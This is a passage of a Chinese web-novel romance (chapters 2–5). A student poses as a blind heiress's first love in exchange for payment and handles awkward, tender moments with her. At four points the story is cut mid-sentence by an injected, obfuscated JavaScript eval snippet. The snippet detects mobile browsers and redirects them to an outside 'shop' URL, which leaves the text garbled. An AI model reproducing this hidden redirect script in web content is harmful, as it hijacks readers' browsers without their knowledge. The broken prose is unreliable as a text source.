《复明后,伪白月光跑路了》 2. 二 如果人类说出口的话,也能像微信发送的消息那样,在两分钟内自由撤回。 那陆音…… 也不打算撤回。 她可是特意放弃了其它兼职,辛辛苦苦跑的这一趟。 打车费这种东西,当然要薄暮烟这个未来老板帮忙报销! 这个要钱计划的唯一变数是,她也没料到自己会这么快就提出来。 事已至此,就先把钱给要了吧! 可惜,现实总比想象要残酷许多。 陆音说这话时,薄暮烟的手机铃声恰好响起。 被主人调至最大的提示音量,将陆音打了个措手不及,顺带将她的声音吞噬得彻底。 薄暮烟离她太远——两人一个靠近大门、一个坐在客厅。 饶是察觉到对方有讲话,也很难听清具体说的什么。 薄暮烟并未追问。 因为不管这人说了什么,自己都不可能让她留下。 她知道薄槐幸也一并来了。 就像前几次一样,先带着临时护工过来找她,等自己明确完态度,再表示歉意地请对方离开。 同样的场景出现得多了,难免会令人感到困扰——就算引起这一切的,是她的母亲。 薄暮烟暗暗想,等会儿该认真和薄女士谈一谈了。 她略显生疏地接通电话,同时冷淡地递出逐客令。 “麻烦让我妈进来吧,我会和她说清楚的。” 手机那头传来女人温和的声音:“小烟,你应该已经见到小音了吧?” 薄暮烟脸上的淡定面具,在听见声音的刹那,粉碎得彻底。 “妈?!!” 你不是应该在门口吗? 怎么会在手机里??? 另一侧的陆音不清楚薄暮烟正承受着什么样的精神冲击,也没心情去猜测两人在聊什么。 唯一的想法只有一个—— 她要被这个抠门的薄暮烟气炸了! 一个能给白月光送出昂贵手链的高中生,上了大学之后,居然连几十块的打车费都不肯帮其他人报销?!! 这到底是人性的扭曲,还是道德的沦丧! 陆音气了一小会儿,又把自己哄好了。 差点忘了,她可不是单纯来应聘护工的,她是要来假扮白月光的! 薄暮烟不给别人报销,总不忍心委屈自己的白月光吧! 陆音调整好心态,无视对方刚下的逐客令,厚着脸皮、光明正大地站在原地偷听。 听了三分钟,什么收获也没有。 诚如薄槐幸所言,她的宝贝女儿,还真是惜字如金。 整个通话过程,除了偶尔回应一句“嗯”,其它更复杂的词汇,愣是一个都没有。 陆音听得实在无聊,捂着嘴打了个无声的哈欠,打算抽空骚.扰一下池苒。 念头刚起,客厅那头突地发出一声响。 陆音的视线被墙壁挡住,无法看清具体发生了什么。 只是觉得这阵动静很耳熟,每次她不小心把垃圾桶踹翻时的声音,就和这一模一样。 她想,薄阿姨对这人的形容还真是一针见血。 连家里的路都走不好了,居然还死倔得不肯找个护工。 纯纯的死要面子活受罪! 隔了两秒,发现那边没有后续,陆音有点慌。 总不能那么凑巧,脑袋正好磕茶几角上了吧? 以防真有命案发生,陆音忙开口喊人:“你没事吧?” 边说,边脱鞋。 脱到一半,薄暮烟给了回应。 “我还以为你已经走了。”说的话驴头不对马嘴的。 她的语气变化很明显。 少了刚才拒绝陆音时的冷淡疏离,多了几分说不清道不明的别种意味,像是被陆音不肯挪窝的厚脸皮行径气到了。 陆音不敢再让她继续说第二句,赶在她开口前,扬声表明自己的身份。 “暮烟,是我,你还听得出我的声音吗?” 来的路上,陆音已经做好最坏的打算。 顶多就是被赶出去。 真被赶出去了,也不亏。 毕竟自己来这一趟能赚好几百,纯纯血赚! 谁知结果有些出人意料。 高达0.01%的超绝可能性,竟真的出现了! 薄暮烟的脑子大概率也坏了。 她完全没听出来有哪里不对:“我还以为我妈是在哄我开心,一听到你的声音,我就认出来了,茵茵,真的是你。” 说完,薄暮烟小心翼翼地自我检讨:“对不起啊,是我不好,我刚才语气太重了,有吓到你吗?” 陆音的确有被骇到。 不是被她冷漠的态度吓到。 而是被她的双标嘴脸惊到。 这就是所谓的白月光的杀伤力吗? 恐怖如斯啊! 既然白月光的影响力这么大……陆音有了想法。 “我知道你是什么样的人,怎么会被你吓到呢。”陆音像模像样地嗔了一句,“比起其它的,我更担心你。” “刚才和阿姨联系上后,我特地加钱打了快车,就想着能早点见到你,只有亲眼看见你没事,我才能真的放心。” 陆音说得很深情,尤其强调了“加钱”、“快车”这两个词。 薄暮烟只是眼睛受伤,脑子可没坏。 听出她的潜台词,忍不住浅笑一声。 “茵茵,知道你这么担心我,我真的很高兴,听我妈的意思,接下来这段时间,你打算留下来陪我,是吗?” “虽然这样会比较麻烦你,但是很抱歉,出于私心,茵茵,我不打算拒绝。”薄暮烟抛出诱饵,“你这么辛苦,我也不知道能给你什么,不介意的话,就用一千块的价格,来买断和你相处的这些时间,可以吗?” 陆音差点骂出声。 什么垃圾白月光滤镜? 一两个月的贴身照顾,换来的就是一千块的“超级巨款”? 黑心资本家听了都要心疼地落泪! 陆音决定主动送自己出局,面无表情地开口:“其实我……” 真实身份爆到一半,被打断。 “抱歉,我刚才表述的好像不够完整,我的意思是,一天一千块。” 陆音立马闭嘴。 换做是何念茵本人,听到对方用钱来玷污彼此的情谊,多半不会高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114222|195905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴,反倒会很生气。 但陆音不是何念茵。 就算是有ooc的风险,她也决不允许自己把送上门的钱,亲手推回去。 陆音没有明着同意,而是间接表达了自己接受这笔交易的态度:“只要你需要我,我就会一直陪着你的。” 薄暮烟还真有事要马上拜托她。 “茵茵,我刚才不小心把垃圾桶踢翻了,你可以过来帮我扶一下吗?” 陆音猜对了。 那阵声响,还真是踢倒垃圾桶发出的。 她应了声好,开始以新的身份,正式加入这个家。 低头一看,才发现地上一双客用拖鞋都没有准备。 薄暮烟也意识到了这个问题,解释道:“我不太喜欢让外人进我的房子,平时只有我妈他们会来,所以只准备了他们的拖鞋,你不介意的话,先穿我的可以吗?” “我穿你的,你穿什么?”陆音觉得她有点笨,“我穿阿姨的,阿姨应该不介意吧?” “嗯,我妈没有这方面的洁癖,她的拖鞋我放在鞋柜里了,打开就能看见。” 陆音很快找出拖鞋,换上后朝里走。 没了墙壁的遮挡,暂时失明的薄暮烟,终于“见”到她的“假白月光”。 陆音接线下兼职时,见过形形色色的客户。 比起大众普遍会第一关注的容貌,她更关心的,是对方愿意出多少钱作为报酬。 她的微信列表里,躺着不少多次合作过的老客户。 陆音给他们的备注,都很直观明了。 例如—— “代写检讨/千字算一篇/每篇三百” “帮忙找狗/哈士奇/一次五百” 陆音不在意客户的长相,对她来说,其它方面都是次要的,只要钱给的多,那这人就是好老板。 热帖里的那张“薄女神镇楼图”,她当时其实并没有看。 直到真正决定走白月光路线,专属于薄暮烟的备注,才在脑子里正式生成—— “白月光护工/暂时失明/多薅点上不封顶” 这会儿亲眼见到薄暮烟本人,陆音不由想起她出门前和池苒的对话。 “我突然想到,她要是把你照顾她的行为,默认成是‘白月光’变相答应了自己的表白怎么办?” “这个行为会影响我赚钱吗?” “其他人我不知道,薄女神在这方面口碑很好,不出意外的话,‘女朋友’这个附加身份,不仅不会让你少赚钱,还能让你在原来的基础上、再多赚点。” “那这是好事啊,她想默认就默认吧,不扣我钱就行。” “那她如果要亲你呢,你也行吗?” 陆音当时说不行。 她是喜欢钱,也最喜欢钱。 可她也是有底线的! 为了钱出.卖.肉.体什么的,绝不可能! 但是现在。 陆音看着前方那张堪称女娲疯狂炫技的绝色面孔,又觉得底线什么的,倒是可以灵活地降低一点。 世界上怎么能有人好看成这样? 嗯…… 真要接吻的话……也不是不行。 但是得加钱! 3. 三 沙发离玄关的距离不算远,很快,陆音停在薄暮烟面前。 刚才没注意,靠得近了,她才发现眼前的画面透着点不合常理的诡异感。 薄暮烟身前有个垃圾桶。 它没有倒在地上,而是端端正正地立在合适的位置。 茶几底下是白色的瓷砖,地面一尘不染,仅凭肉眼,丝毫看不出有半点垃圾存在的痕迹。 视线范围内唯一可能需要用“扶”的动作来修饰的,只有—— 陆音看回自从摔倒后便一直跌坐在地、直到现在仍不准备起身的薄暮烟。 她心里有了答案,但还是规规矩矩地问:“垃圾桶是被你摆回去的吧?地上也没有需要收拾的垃圾,你是让我扶什么?” 薄暮烟:“我。” 说完,开始试探着朝陆音的方向伸出手。 即将触碰到陆音衣角前,又很有分寸感地停下。 薄暮烟的表情略显紧张:“我不小心扭到脚了,应该没有很严重,只是有一点痛,茵茵,你扶我到沙发上休息会儿好吗?” 陆音的目光,在那双骨节分明、纤细修长的手上多停留一瞬。 她收回视线,很是自然地握住它们,好心建议:“你自己用力的话,应该也会痛吧,不然我搂着你的腰,试试能不能直接抱你起来?” 话音刚落,薄暮烟的脸,瞬间红了一大片。 她遽然失了冷静,结结巴巴说话的样子,显得分外纯情。 “啊,谢、谢谢,谢,不不过、不过不用了,我自己、我自己可以。” 陆音觉得这人挺割裂的。 从目前的言行举止来看,她对“何念茵”的感情,应该是很深的。 可是感情如果真的很深,又怎么会连“白月光”的声音都认错呢。 陆音表示无法理解。 因为她自己是个非常专一的人。 不管后面是否带零、带几个零,只要是钱,她都喜欢,也绝不会认错! 陆音没再想其它,眼下的当务之急,是把薄暮烟扶去休息。 对方不想被抱过去,她识趣得没有再劝,默默把自己想象成是一根拐杖,老老实实将人扶住,一步一步亲自护送着回到沙发。 “家里有喷雾吗?要不还是先做一下紧急处理吧,不管用的话,我再带你上医院看看。”陆音还是不太放心。 虽然是以白月光的名义留下的,但她没忘记,除了白月光的身份,自己还是个需要贴身照顾老板的临时护工。 现在老板身体受了伤,作为拿钱办事的打工人,当然要把老板的身心健康,放在第一位。 薄暮烟的面色本来已经恢复如初,闻言,以极快的速度,又覆上一层薄粉。 她上半身贴靠着沙发没动,支在地面上的双脚,却悄悄往远离陆音的另一侧缩了缩。 没来由的动作,令人嗅到一点此地无银三百两的味道。 陆音的眼睛倒是尖,一下子捕捉到这一幕。 联想短时间内发生过的一切,不禁脱口而出:“你该不会根本就没有扭到脚吧?你骗我的?” 陆音以为薄暮烟的薄,是刻薄、淡薄的薄。 未曾想,在“白月光”面前,薄字,变成了脸皮薄的薄。 被当场戳穿谎言的薄暮烟,因受伤而失焦的眼里,清晰可见地闪过一丝慌乱。 陆音见她如此心虚,还以为她会矢口否认。 谁料,这人倒是个“敢做敢当”的。 薄暮烟没有顾左右而言他,状似镇定地承认了自己的小心机:“对不起,茵茵,我是骗了你。” 与冷静话语截然相反的绯红脸颊,无声中背叛了主人内心真正的情绪。 陆音问得直接:“小孩子装病是不想去上学,你干嘛也装病?你又不用上学。” 薄暮烟的声音低了许多,脸也变得更红了。 “我就是,想碰碰你。” 就算陆音没吃过猪肉,也是见过猪跑的。 没分析错的话,这应该就是所谓的“捅破窗户纸前的暧昧与拉扯”? 可根据池苒提供的小道消息,在高中时期,薄暮烟和她的白月光,不是早就暧昧过了吗? 当时两人就差一句表白就能正式在一起,现在好不容易再次见到心心念念的白月光,薄暮烟的情感进度条,怎么反而往后退了? 薄暮烟好似能透过她的沉默,读懂她的困惑。 不待陆音问,自己先出声解释。 “茵茵,你离开的这些日子,我每天都很想你,现在终于等到你,我真的很高兴。” 明明她的倾诉对象就是面前的陆音,陆音却表现得像个置身事外的观众。 听她这么说,甚至表示认同地点点头。 薄暮烟看不见她的反应,继续吐露自己心底最真实的想法。 “我知道你就在我面前,但我没法看见你,这让我有种可能只是活在梦里的不真实感,所以我才编了这样的谎言,想要真正感受一下你的存在,对不起,我不该骗你的,你……生我气了吗?” 陆音的疑惑被她这番话打消。 比起薄暮烟的拘谨与情怯,她这个占了别人身份的假白月光,倒是大方坦荡。 陆音用行动代替了回答。 她朝着薄暮烟弯下腰,伸出手,一左一右按住对方那双漂亮精致的手。 手背与手心相贴的刹那,薄暮烟下意识想把手缩回。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114223|195905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆音提前猜到她的打算,在她逃离的前一秒,不容拒绝地握住掌心中的这双手。 薄老板每天给她开一千块的高薪,情绪价值什么的,也不是不能稍微附赠一点。 薄暮烟愣了一愣,最终还是安分下来,不再躲避“白月光”的主动靠近。 两人之间的距离,因牵手的动作,被缩短到只要陆音再向前一步、就能一口咬上对方鼻尖的程度。 彼此呼吸在空中交缠的下一秒,薄暮烟脸上的绯意,一路向下烧,直至将露在领口外的整段脖颈,都晕染上勾人的粉。 陆音没有瞧见这一抹艳色,单是薄暮烟脑袋两侧那对红到发热的耳朵,就够她研究很久。 她朋友很少。 池苒偶尔会在生气的时候,捏一捏她的耳朵。 除了池苒,她没有更亲近的朋友,也就不会意识到,她和薄暮烟靠得这么近,对于问心有愧的另一人来说,俨然已经超过朋友之间该保持的安全距离。 陆音盯着那片透红的耳朵,不禁暗自感叹一句,女娲还真偏心,把这人的脸捏得出奇好看就算了,居然连耳朵也用了心。 “怎么样,现在总能感受到我的存在了吧?” 薄暮烟呆呆回应:“嗯,茵茵,你的手,很温暖。” 陆音下意识道:“高中的时候我们不就牵过手了?怎么被你说的,好像之前没碰过我一样。” 说完,陆音后背渗出一层冷汗。 完了。 说错话了。 薄暮烟和何念茵高中时是否真的牵过手,池苒没说,陆音自然也就不清楚。 她只是理所当然地觉得,薄暮烟既然敢表白,那她和何念茵之间,肯定早就做过这类事了。 可这些都是她的猜想,万一两人当时只是口头暧昧,没有付诸过实质行动—— 薄暮烟:“茵茵,你也说了,那都是高中时候的事了,这还是我们分开之后,第一次重新牵手。” 陆音暗暗松口气,冷汗也止住了。 她认为自己的情绪价值已经提供到位,想把手收回。 刚把人松开,一直处于被动地位的薄暮烟,却是忍不住反手一握,眷恋般勾缠住陆音的小指。 相对大胆的动作,和她脸上紧张含怯的表情,形成一幅对比鲜明的矛盾画。 “茵茵,我想再牵一会儿,可以吗?” 陆音当然不乐意。 薄暮烟给的钱,只能算是贴身陪伴的护工费。 她刚才好心附赠了一点情绪价值,可不代表这玩意儿就是永久免费的! 继续牵下去,不就等于无偿加班了?!! 她脑子又没进水。 没加钱,才不干! 4. 四 认识薄暮烟的朋友都知道,薄暮烟对她的白月光,一直都很大方。 不管是什么节日,就连跟两人扯不上关系的清明节,薄暮烟也会找出合适的理由,给何念茵发红包、送礼物。 红包具体给多少,朋友们不清楚。 但她送出的礼物,大家倒是有目共睹。 衣服首饰啥的,相对廉价,但对高中生来说,近千块一件的衣服,已经不便宜了。 更别提更贵的电子产品,都是顶配的最新款,没有五位数肯定拿不下来。 薄暮烟表达心意的方式,就是粗暴直接地用钱砸。 每一次付出,倒也得到了相对应的回报——虽然都是一些不怎么需要花钱的手工制品。 例如,一张看不太出人物原型的素描画,一串用捡回来的贝壳串成的手链…… 池苒说到这里时,对金钱格外敏感的陆音,忍不住插了句嘴。 “她这样收拾收拾,家里应该干净挺多的吧。” 池苒噗嗤一乐,看着“五十步笑百步”的她,好笑地反问:“你个小财迷还好意思说这话呢,换做是你,你难道不会这样回礼?” 陆音:“……” 她无辜地眨眨眼:“谁说这画不值钱呢,我看这手链肯定也是很珍贵的,薄女神没花心思只砸钱,白月光注重心意不靠钱,两人简直绝配!宇宙无双的天仙配!” 薄暮烟的高中时代,陆音没能参与。 她和“白月光”的未来,陆音有幸正在亲历。 虽然薄暮烟现在什么都还没开始送,但是没关系,她很有耐心,可以等对方“再次开窍”。 等薄暮烟再次用钱表达心意,陆音的手、哦不,“白月光”的手,自然也能继续让她牵了。 在这一天到来之前,陆音的态度很随心—— 面对薄老板希望自己义务加班的无理请求,她毫不留情地抽回被捏住的小拇指,委婉拒绝了对方。 “我有点渴,想先去喝口水。” 薄暮烟果真被转移了注意力,一五一十地介绍:“水在厨房,我早上刚烧的,设了65度的恒温,边上那个蓝色的杯子是我用的,你还和以前一样直接用我的杯子喝,可以吗?” 陆音听她说得如此详细,不由伸出手,在她眼前挥了挥。 薄暮烟看不见她的小动作,但能感受到迎面突然袭来一阵掌风。 脑子微转,很快猜出陆音大概在做什么。 她觉得这一幕一定很可爱,只可惜,自己没能亲眼看见。 “茵茵,你是怀疑我是否真的受伤了吗?”薄暮烟语气带着点宠意,“我在这套房子里生活了近两年,就算暂时失明,也还是能行动自如的。” 陆音丝毫没有小动作被抓包的尴尬,神色自若地放下手,揪着她的用词错误,说:“你刚才都摔倒了,这也叫行动自如吗?阿姨不放心你是对的,还好我来了,不然你哪天真摔了,阿姨都没法知道。” 薄暮烟没有解释自己之所以会出错,是因为急着去追被自己赶走的她。 她顺着陆音的意,态度温顺地自我检讨:“茵茵,你说的对,之前的确是我太过逞强,现在有你在,我肯定不会再磕碰到了,茵茵,以后我有什么处理不好的事情,都可以麻烦你吗?” “你这话不就太见外了?我就是特意来照顾你的,你不麻烦我,麻烦鬼吗?” 薄暮烟闻言一笑,她还记着陆音说过的话:“不是渴了吗?那我们去厨房吧。” 陆音见她起身,忙将她一把按回去:“你还是待在这儿等我吧,厨房就那么大,我总不至于连水都找不到。” “我不是这个意思。”薄暮烟顿了顿,“我只是想像以前一样,每时每刻都能和你待在一起。” 陆音:“……” 吃瓜群众怎么没说薄暮烟还是只黏人精啊! 如今她骑虎难下,再不情愿,也只能被迫同意。 “那你自己能走吗?还是我像刚才一样扶着你?” 薄暮烟换上一副无辜的表情,这神态,和陆音在池苒面前经常露出来的,如出一辙。 “茵茵,你拉着我吧,有你带路,我就不会再摔了。” 陆音莫名有种搬起石头砸了自己脚的错觉。 她刚才是为什么突然说想喝水来着? 哦对,是想找借口打发对方不给钱还想继续牵手的无理请求。 结果现在—— 陆音看着那双已经迫不及待伸到自己面前的手,恨不得冲去厨房拿把刀直接把它们剁了。 头顶的乌云刚凝聚,因为薄暮烟接下来的话,瞬间散去。 “茵茵,我也不知道你什么时候会回来,原本是想着等你回来后,直接带你去商场,让你亲自挑选喜欢的东西作为欢迎礼物。 “结果没想到,我们的再次见面,会是在这样的情况下。 “虽然商场暂时去不了,但该给你的礼物不能落,茵茵,这样好不好,我把钱转给你,你想买什么,直接从网上下单,可以吗?” 真到了该收钱的激动时刻,陆音反倒变得迟疑。 不是不敢收,而是不知道“何念茵”会怎么收。 是直接面不改色、理所当然地收下? 还是推脱几回、再状似无奈地收下? 这么关键的时刻,陆音不敢擅自行动。 一旦ooc,那煮熟的鸭子不就飞了吗! 她一时间急得不行,甚至想着,是不是该找个借口先离开,等池苒帮她打探完消息,再回来接受这笔钱。 迟迟没得到回应的薄暮烟,误把陆音的沉默当成是拒绝。 慌乱的人,变成了她。 “茵茵,你是在怪我没有陪你去商场吗?这次是我不好,你别生气,先像之前那样把钱直接收下,好不好? “我向你保证,等眼睛一好,马上陪你去商场,重新补一份礼物给你,可以吗?” 很耐人寻味的一番道歉。 论坛里的吃瓜群众恐怕想不到,她们眼中光风霁月、不落尘俗的薄女神,在面对自己的白月光时,态度也会如此卑微。 陆音对此不做评判。 她就是单纯来赚钱的。 至于其它,与她无关。 这时候如果非得做点什么……陆音默默向远在国外的何念茵道了声谢。 没有她在过去铺路,自己哪里能遇上薄暮烟这样的冤大头呢。 陆音很快进入角色:“那这次就先原谅你,不过你现在看不见,怎么给我转账?” 薄暮烟把手机递给她,意思是让她自己转。 “锁屏密码和以前一样,是你的出生年份加生日,支付密码也是这个。” 陆音下意识输入自己的生日。 解开锁屏,点进微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114224|195905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信,顿时后知后觉有哪里不对。 应该设的是何念茵的生日,怎么用她的生日也能解锁? 陆音很快反应过来,没想到她和何念茵还挺有缘,居然是在同一天出生的。 “茵茵,转好了吗?” 陆音正在用她的微信加自己特意新建的小号,头也没抬:“你还没说要给我转多少。” “你不是最喜欢数字九吗,那就转九万九吧。” 陆音刚输完数字,听见她主动提醒:“茵茵,别忘了备注‘自愿赠与’,这样你也能拿得安心。” 饶是自认为没啥良心的陆音,此刻也被她的话惊到。 她下意识道:“你就不怕我纯粹是在骗你?” 薄暮烟不理解她的意思,单纯地反问她:“我最想见到的人现在就站在我面前,还能怎么被骗呢?” 说完,她温柔地弯了唇:“茵茵愿意陪着我,花再多的钱,我也是心甘情愿的。 “你提供了我需要的情绪价值,我理应也回报点什么,可我现在什么也没法为你做,所以,就只好用这些身外之物,来委屈你一阵了。” 陆音:这种委屈,她愿承受一辈子! “茵茵,如果转好了,我们就去厨房吧。” 陆音迅速操作完,一改方才想要掐死无良资本家的态度,主动又热情地拉住薄暮烟,甜甜地开口。 “好呀~我们一起去喝水吧~” ★★★ 厨房里摆放着各类厨具。 看得出来,薄暮烟平时是会自己做饭的。 陆音围着厨房绕了一圈,好奇问:“我刚才就想问了,你不是受伤了吗,也不喜欢有外人进来,那平时家里的卫生,是怎么打扫的?” 薄暮烟独自坐在餐桌前,闻言,如实回答:“我妈不放心我,每隔两天会来看我一次,这段时间,屋子都是她替我打扫的。” “既然我来了,那就让阿姨休息吧,家里的卫生,交给我就行。”拿人钱财替人忙活的道理,陆音懂。 “好,等你喝完水,你帮我在微信上和她说一声吧,家里有扫地机器人,地面的清洁,也不需要你亲自动手。” “行,那你平时吃饭呢,是自己点外卖还是阿姨特意送过来?” “她有个朋友是开私厨的,三餐都会让店员帮忙送上门,我吃完把垃圾放在门口,她们会顺路带下去。” 陆音暂时没别的问题了。 她拿起装满水的蓝色杯子,仰头,将杯中的水一口喝光。 “你要喝吗?” 薄暮烟:“好,不过我没那么渴,给我倒半杯就好。” 陆音去冲了冲杯子,重新接好水,一直等到水温变得合适,才端着朝薄暮烟走去。 意外发生在两人交接杯子的时候。 薄暮烟太过主动,没等陆音将杯子放到自己手上,直接抬手去接。 结果两人颗粒度没对齐,导致薄暮烟的手,误打误撞地贴上不该触碰的位置。 做了坏事的人,反倒先被吓了一跳。 情绪波动瞬间超过阈值,导致她脑子一时短路,变得口不择言—— “茵茵,这是什么?好软。” 陆音很想给她一巴掌。 软你个大头鬼! 车祸真把你脑子撞坏了吧! 这是我的胸! 它能不软吗!!! 5. 五 薄暮烟遵纪守法这么多年,从未做过如此大逆不道之事。 眼下也只是懵了一瞬,很快回过神来。 想到自己做了什么,双膝一软,当场就要给陆音下跪赔罪。 “对、对对对…对不起!我、我只是想拿杯子……” 陆音被她的动作吓了一跳。 这家伙…… 该不会是被何念茵调成这样的吧…… 薄暮烟跪到一半,眼前的光线暗了下来。 下一秒,她整个人被陆音一把抱住。 芬香沁鼻,乱人心弦。 混沌的大脑在香气的氤氲中开始自燃,最后徒留一片空白。 唤醒它的,是陆音恨铁不成钢的声音。 “现在不是奴.隶社会了!你又没把天捅破,好端端的,跪我干嘛!” 陆音觉得这样说可能会有ooc的风险,说完又添上一句。 “不管之前和以后的我们是怎么相处的,至少现在,我不喜欢你这样。” 折寿危机解除,陆音的手也开始酸了。 她稍缓语气,道:“我现在把你放开,你老老实实坐回去,千万别再跪了,知道吗?” 薄暮烟没说话,维持埋在怀里的姿势,幅度很低地点了点头。 陆音注意到这点小动作,安下心,不带留恋地把人放开。 两人一分开,她才发现,薄暮烟的脸红到、完全可以用烧透来形容。 陆音丝毫没顾忌她的面子,问得直白:“好端端的,你又脸红什么?” 薄暮烟明明看不见她,闻言,还是下意识偏开自己那双没有焦距的眼。 面上纠结两秒,最后还是如实回答。 “茵茵,你身上的味道好香啊。” 陆音:“……” 老话诚不欺我! 钱难赚,屎难吃啊! ★★★ 两人喝完水回到客厅。 薄暮烟再次把手机交给陆音:“我给我妈的备注就是一个‘妈’,你直接去列表里找她吧,这样应该会快一点。” 陆音很是自然地接过,熟练按下锁屏密码,找到对应的微信头像后,稍作犹豫,还是以自己的口吻发去消息。 薄槐幸很快回复。 【妈:那接下来这段时间,就要辛苦小茵照顾她了。】 陆音刚看完内容,自己的手机叮了一声。 点进屏幕,新消息是薄槐幸发来的。 【薄老板的妈:阿姨今天有点忙,一时抽不出空去给你买见面礼,之前听小烟说你的幸运数字是9,这笔钱你收着,喜欢什么,你就自己买了作为阿姨送你的见面礼吧。】 【薄老板的妈:[对方向您转账99999元,备注:自愿赠与]】 陆音很想收,但没收。 和她有交易的是薄暮烟,自己付出情绪价值和劳动力,从对方那里得到相对应的高额报酬,银货两讫,完全没问题。 薄槐幸虽然是薄暮烟的母亲,但自己并没有给她提供任何价值,更别提同样也骗了她,不管从哪个角度考虑,这笔钱,都是不能收的。 理智是这么告诉她的。 可是面对这么一大笔钱,作为一个普通人,陆音真的很难不心动! “茵茵,我妈还没回的话,可能是在忙。” 暂时只能通过听觉来判断陆音动向的薄暮烟,听她一直没再发出声响,以为是在等回复,不由开口替薄槐幸解释。 “她回了。”陆音死死盯着屏幕里的那串美丽数字,盯得眼睛都快红了,“阿姨给我转了钱,说要给我做见面礼,我没收。” 饶是薄暮烟看不见,也能从她含着委屈的语气里,猜出来她现在的表情有多可怜兮兮。 一想到那个画面,本就只对她放纵的心,更是软得一塌糊涂。 她失笑地问:“她给你转了多少?” 陆音把数字报给她。 同时,心里忍不住泛起邪恶的小心思。 薄暮烟那么喜欢何念茵,知道自己亲妈给喜欢的人转了钱,肯定会让何念茵收下的吧! 现在她是“何念茵”,为了不ooc,那这笔钱,也就只能—— 陆音的小心思还没彻底成型,就被薄暮烟无情刺破。 “茵茵和我还没有正式确定关系,这笔钱,的确不太好收。” 陆音听见她的话,期待的心,嘎嘣一下,死了。 紧接着,脑子里不由得产生一个疯狂的念头。 为了这五个九,主动向薄暮烟表白什么的,也不是不可以。 还没想好是否真的要为五斗米折腰,就听薄暮烟宠溺地继续说。 “是我考虑不周,明知道茵茵你最喜欢数字9,刚才让你转账的时候,却只让你转了九万九,作为惩罚,我妈的这笔钱,就从我的账上转给你,好吗?” 陆音:! 好好好! 当然好!! 好得不能再好了!!! 陆音美滋滋地转完钱,重新点开薄槐幸的对话框,再无半点不舍地把钱退了回去。 薄槐幸明显一直在等她回复。 退钱提示一出现,她的新消息很快跟着发过来。 【薄老板的妈:小茵,这只是一份小小的见面礼,不是什么大钱,你不用有心理负担。】 【薄老板的妈:你和小烟迟早要在一起的,你要是实在不敢收,就把这笔钱当成是阿姨提前给你们的祝福,等你们真走到一起,阿姨就不给红包了,这样可以收了吧?】 【薄老板的妈:[对方向您转账99999元,备注:自愿赠与]】 陆音把薄槐幸的消息,一个字一个字地念给薄暮烟听。 有了薄暮烟给的五个九,陆音现在看着这笔巨款,可谓是心如止水。 “我估计阿姨会一直劝我收,那我就说咱这边有事要忙,先冷处理了?” 薄暮烟却一改刚才的态度:“那就收吧。” 正在打字编借口的陆音:? 薄暮烟的心情变得很好:“见面礼不方便收,祝福可以收。” 刚好,她很喜欢薄女士的这句祝福。 ★★★ 陆音不会做饭,也不打算为了一个时长最多两个月的兼职,逼着自己学做饭。 所以两人的晚饭,还是和原先一样,定的薄槐幸朋友的私厨。 陆音没来之前,员工会专门把菜直接和米饭装在一个大碗里,方便薄暮烟独自用餐。 现在有人陪着,员工的送餐标准,也就不需要再搞特殊。 餐厅里。 陆音将分盒打包的饭菜一一摆好,接着坐到薄暮烟旁边,将一次性勺子放到她手中。 “米饭你自己挖,挖完以后我把菜夹到你的饭上,你再一起吃进去。” 薄暮烟温顺地点点头:“好。” 这是两人在餐桌上的第一次合作,过程比陆音想象的要顺利得多。 陆音咽下最后一口饭,起身准备收拾,安静等在一旁的薄暮烟,蓦然问了一句:“茵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114225|195905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茵,你觉得她家厨师做得怎么样?” 陆音吃得小腹鼓鼓,大脑被食物填充,一时想不出妙言美句,只是简单又直白地评价:“好吃。” 薄暮烟脸颊微红:“其实我也会做饭。” 陆音没听出她的意思,点点头:“看得出来。” 薄暮烟:“我让亲戚和朋友们帮忙尝过,大家都说,我做的比她家厨师做的还要好吃。” 陆音今天收了很多钱,自然愿意提供她想要的情绪价值:“她家厨师做得够好吃了,你居然比她家厨师做得还要好,你好厉害呀。” 要是薄老板需要,陆音甚至还能当场来个海豹式鼓掌。 